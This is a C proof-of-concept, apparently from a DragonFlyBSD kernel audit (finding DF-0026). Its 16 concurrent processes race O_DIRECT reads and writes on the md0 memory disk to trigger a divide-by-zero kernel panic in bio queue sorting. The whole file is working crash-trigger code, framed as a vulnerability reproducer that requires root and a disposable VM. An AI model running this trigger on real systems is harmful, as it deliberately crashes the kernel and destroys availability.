DragonFlyBSD Kernel Audit
DF-0026 / trigger_md2.c
← back to finding ↓ download raw
/*
 * DF-0026 div0 trigger via md0 SMP race (v2 - O_DIRECT, disjoint ranges).
 *
 * mdstrategy_malloc() protects bio_queue with only crit_enter() (per-CPU,
 * not global). Concurrent mdstrategy() from different CPUs both enter
 * bioqdisksort() unsynchronized. The drain loop does crit_exit() before
 * memcpy-processing each bio (sys/dev/disk/md/md.c:237), opening a window
 * where another CPU's WRITE bio sets bioq->transition, and a subsequent
 * READ bio on yet another CPU hits:
 *     ++bioq->reorder;
 *     if (bioq->reorder % bioq_reorder_minor_interval == 0)  // sysctl==0 -> #DE
 *
 * This version uses O_DIRECT to bypass the buf cache so that BOTH write and
 * read bios reach mdstrategy directly. Writers and readers use DISJOINT offset
 * ranges so reads are never served from recently-written cache.
 *
 * Requires: kern.bioq_reorder_minor_interval already 0. Run as root.
 * WARNING: panics the kernel. Disposable VM only.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

#define NW   8
#define NR   8
#define RPT  200000
#define BLK  65536
#define DISK (9 * 1024 * 1024)       /* md0 is ~9.77 MB */
#define WR_BASE 0
#define WR_END  (4 * 1024 * 1024)    /* writers: 0..4MB */
#define RD_BASE (5 * 1024 * 1024)
#define RD_END  DISK                  /* readers: 5..9MB */

static volatile sig_atomic_t go = 0;
static void go_(int s){ go=1; }

static void writer(int idx)
{
	char buf[BLK];
	int fd, i;
	fd = open("/dev/md0s0", O_RDWR | O_DIRECT);
	if (fd < 0) { fd = open("/dev/md0s0", O_RDWR); }
	if (fd < 0) { perror("w open"); _exit(1); }
	memset(buf, idx|1, sizeof(buf));
	while (!go) {}
	for (i = 0; i < RPT; i++) {
		off_t off = WR_BASE + ((off_t)(i * 31 + idx * 127) % ((WR_END-WR_BASE)/BLK)) * BLK;
		if (pwrite(fd, buf, BLK, off) != BLK) break;
	}
	_exit(0);
}

static void reader(int idx)
{
	char buf[BLK];
	int fd, i;
	fd = open("/dev/md0s0", O_RDONLY | O_DIRECT);
	if (fd < 0) { fd = open("/dev/md0s0", O_RDONLY); }
	if (fd < 0) { perror("r open"); _exit(1); }
	while (!go) {}
	for (i = 0; i < RPT; i++) {
		off_t off = RD_BASE + ((off_t)(i * 37 + idx * 113) % ((RD_END-RD_BASE)/BLK)) * BLK;
		if (pread(fd, buf, BLK, off) != BLK) break;
	}
	_exit(0);
}

int main(void)
{
	int i, st; pid_t p[32]; int n=0;
	signal(SIGUSR1, go_);
	printf("[*] %d writers (0..4MB) + %d readers (5..9MB), O_DIRECT, sysctl=0\n", NW, NR);
	for (i=0;i<NW;i++){ p[n]=fork(); if(p[n]==0)writer(i); if(p[n]>0)n++; }
	for (i=0;i<NR;i++){ p[n]=fork(); if(p[n]==0)reader(i); if(p[n]>0)n++; }
	usleep(100000);
	for (i=0;i<n;i++) kill(p[i], SIGUSR1);
	for (i=0;i<n;i++) wait(&st);
	printf("[*] done (no panic)\n");
	return 0;
}